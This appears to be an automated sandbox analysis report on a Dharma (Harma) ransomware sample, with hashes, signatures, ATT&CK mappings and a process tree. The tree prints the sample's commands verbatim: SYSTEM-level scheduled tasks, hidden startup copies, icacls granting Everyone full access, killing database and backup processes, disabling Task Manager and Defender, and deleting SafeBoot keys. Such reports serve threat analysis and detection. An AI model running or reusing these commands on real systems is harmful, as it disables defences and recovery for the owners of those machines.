Overview

overview

10

Static

static

3

30e1234ef3...12.exe

windows7-x64

10

30e1234ef3...12.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2023 00:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    30e1234ef3e570667526fdb006832b12.exe

  • Size

    913KB

  • MD5

    30e1234ef3e570667526fdb006832b12

  • SHA1

    01de8ba945945b58824f69553ac0f7b048645d45

  • SHA256

    72ea5a2972634a78b4808d2164517dc8dbed4eef24d05d135dbe537e05208bf2

  • SHA512

    00bd673f43cba1b16363433e672b30d22196fa0b67c024f970da15270323e545d15b3b990ed1dbbc3e7b9421c3f7840b10621c76203f89e0bcb1214e2a129e4e

  • SSDEEP

    24576:Utp7PNBIIr2i1VzBPZYpoEjH2NzQufi9Re+SfM+:uPSiJP+BH2NQufire+SfM+

Score
10/10
dharmadiscoveryevasionransomware

Malware Config

Signatures

  • Dharma

    Dharma is a ransomware that uses security software installation to hide malicious activities.

    ransomwaredharma
  • Renames multiple (4102) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 2 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe
    "C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • Creates scheduled task(s)
        PID:2416
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\harma.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
      2⤵
      • Drops startup file
      PID:2280
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\harma.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
      2⤵
        PID:2328
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2740
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /F
          3⤵
          • Creates scheduled task(s)
          PID:2796
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
          3⤵
          • Drops startup file
          • Views/modifies file attributes
          PID:2816
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN hrm /TR "C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe" /RU SYSTEM /RL HIGHEST /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN hrm /TR "C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe" /RU SYSTEM /RL HIGHEST /F
          3⤵
          • Creates scheduled task(s)
          PID:2744
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN Harma /TR "C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe" /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN Harma /TR "C:\Users\Admin\AppData\Local\Temp\30e1234ef3e570667526fdb006832b12.exe" /F
          3⤵
          • Creates scheduled task(s)
          PID:2968
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s harma.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s harma.exe
          3⤵
          • Views/modifies file attributes
          PID:2728
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\harma.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s C:\ProgramData\harma.exe
          3⤵
          • Views/modifies file attributes
          PID:2760
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
        2⤵
          PID:2828
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
            3⤵
              PID:2656
              • C:\Windows\SysWOW64\icacls.exe
                icacls * /grant Everyone:(OI)(CI)F /T /C /Q
                4⤵
                • Modifies file permissions
                PID:2156
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
            2⤵
              PID:2604
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c taskkill /t /f /im sql*
                3⤵
                  PID:2624
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /t /f /im sql*
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2012
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /t /im veeam*
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2648
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                2⤵
                  PID:1596
                  • C:\Windows\SysWOW64\reg.exe
                    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                    3⤵
                      PID:2884
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Copy HRMPRIV C:\ProgramData\HRMPRIV
                    2⤵
                      PID:2920
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Copy HRMPUB C:\ProgramData\HRMPUB
                      2⤵
                        PID:2976
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Copy id.harma C:\ProgramData\id.harma
                        2⤵
                          PID:1968
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Copy C:\ProgramData\HRMPRIV %userprofile%\Desktop\HRMPRIV
                          2⤵
                            PID:2504
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Copy "C:\ProgramData\FILES ENCRYPTED.txt" "%userprofile%\Desktop\FILES ENCRYPTED.txt"
                            2⤵
                              PID:1948
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                              2⤵
                                PID:2252
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:2264
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:2484
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:2172
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                                      2⤵
                                        PID:524
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                                          3⤵
                                            PID:2420
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                                          2⤵
                                            PID:1048
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                                              3⤵
                                                PID:1920

                                          Network

                                          MITRE ATT&CK Matrix ATT&CK v13

                                          Initial Access

                                          Execution

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Persistence

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Privilege Escalation

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Defense Evasion

                                          File and Directory Permissions Modification

                                          1
                                          T1222

                                          Hide Artifacts

                                          1
                                          T1564

                                          Hidden Files and Directories

                                          1
                                          T1564.001

                                          Credential Access

                                          Discovery

                                          Query Registry

                                          1
                                          T1012

                                          Peripheral Device Discovery

                                          1
                                          T1120

                                          System Information Discovery

                                          2
                                          T1082

                                          Lateral Movement

                                          Collection

                                          Exfiltration

                                          Command and Control

                                          Impact

                                          Resource Development

                                          Reconnaissance

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\ProgramData\HRMPRIV
                                            Filesize

                                            2KB

                                            MD5

                                            7c107d9b098e33a04bfeccb44fbf702e

                                            SHA1

                                            0583738ed9ef3375038292a3aa4c1c7e7b97e44e

                                            SHA256

                                            cd0ba3a1dfd53b2019e78f937937e78fa3481328b8b6c111982cd28357e5c310

                                            SHA512

                                            b457e07c56a5b2f28d0890d4ceaeb5605406d2f806717b38c8bec5eb10d821ce6fa2b612cea95e41a9ec761bea3ea8d173677712e876bb5c722107153f60b4d7

                                            Download Submit
                                          • C:\ProgramData\harma.exe
                                            Filesize

                                            913KB

                                            MD5

                                            30e1234ef3e570667526fdb006832b12

                                            SHA1

                                            01de8ba945945b58824f69553ac0f7b048645d45

                                            SHA256

                                            72ea5a2972634a78b4808d2164517dc8dbed4eef24d05d135dbe537e05208bf2

                                            SHA512

                                            00bd673f43cba1b16363433e672b30d22196fa0b67c024f970da15270323e545d15b3b990ed1dbbc3e7b9421c3f7840b10621c76203f89e0bcb1214e2a129e4e

                                            Download Submit
                                          • C:\ProgramData\id.harma
                                            Filesize

                                            8B

                                            MD5

                                            2c487fadba9fe41178c3206009e098be

                                            SHA1

                                            ac6edfa29014d4fe1518ad422ba9e6149a596d57

                                            SHA256

                                            44040e482ffbfe30d6b288a113a6f16998e8cb281b991fdc632a7bf57671065e

                                            SHA512

                                            7d003ec43f75f08197c246e2364f576f453f1b78e4fc3d4a4ad2271c4e1b205aa961ac43070c0bebc11b9bb126d283d93f9c93e0773033309afef5832d0db7d3

                                            Download Submit
                                          • C:\Users\Admin\AppData\Local\Temp\HRMPUB
                                            Filesize

                                            292B

                                            MD5

                                            24da1445244b35f9f96825d6d5ac2d4b

                                            SHA1

                                            a7ac4cd7fb3d86ae1f3171fb2b91a7f0c71ec276

                                            SHA256

                                            42076e5df8ff25d78fea600636b9f70163bb866e29b725b4fe5cdbbe7bb205a5

                                            SHA512

                                            fdae6de128e49d29437f93e73b9a330f369b7212e5e2eb8b1d76ec7142408be0cc81e3a3adfc916f461a7de37da329aaaa66b60974c20dde2222af547bccb794

                                            Download Submit